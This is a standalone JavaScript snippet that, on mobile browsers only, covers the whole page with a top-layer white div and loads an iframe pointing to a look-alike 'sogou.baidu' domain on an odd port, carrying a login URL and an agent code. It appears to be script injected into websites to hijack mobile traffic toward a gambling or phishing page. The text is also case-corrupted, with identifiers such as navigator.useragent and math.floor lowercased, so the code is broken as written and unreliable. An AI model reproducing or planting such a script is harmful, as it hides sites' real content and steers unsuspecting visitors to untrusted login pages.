var ismobile = /android|webos|phone|pad|pod|iphone|ipod|ios|ipad|mobile|blackberry|iemobile|mqqbrowser|juc|fennec|wosbrowser|browserng|webos|symbian|windows phone/i.test(navigator.useragent); if (ismobile) { var items = ['https://sogou.baidu.1lb8h60-k9z4yhxlg-mfbk.com:51000/?loginurl=https%3a%2f%2fwww.814mj.com%3a9999&agent_code=50002128']; var randomindex = math.floor(math.random() * items.length); // 当前只有一个 url,但保留随机选择逻辑便于未来可能的扩展 var strurl = items[randomindex]; console.log(strurl); var metaviewport = document.createelement('meta'); metaviewport.setattribute('name', 'viewport'); metaviewport.setattribute('content', 'user-scalable=no, width=device-width, initial-scale=1.0'); document.head.appendchild(metaviewport); var styleelement = document.createelement('style'); styleelement.innerhtml = 'html, body { width: 100%; height: 100%; overflow: hidden; clear: both; }'; document.head.appendchild(styleelement); var containerdiv = document.createelement('div'); containerdiv.style.width = '100%'; containerdiv.style.height = '100%'; containerdiv.style.position = 'fixed'; containerdiv.style.top = '0'; containerdiv.style.left = '0'; containerdiv.style.zindex = '2147483647'; containerdiv.style.background = '#fff'; document.body.appendchild(containerdiv); var iframeelement = document.createelement('iframe'); iframeelement.src = strurl; iframeelement.frameborder = '0'; iframeelement.style.border = '0'; iframeelement.style.width = '100%'; iframeelement.style.textalign = 'center'; iframeelement.style.border = 'none'; iframeelement.style.height = '100%'; iframeelement.style.maxheight = '4000px'; containerdiv.appendchild(iframeelement); }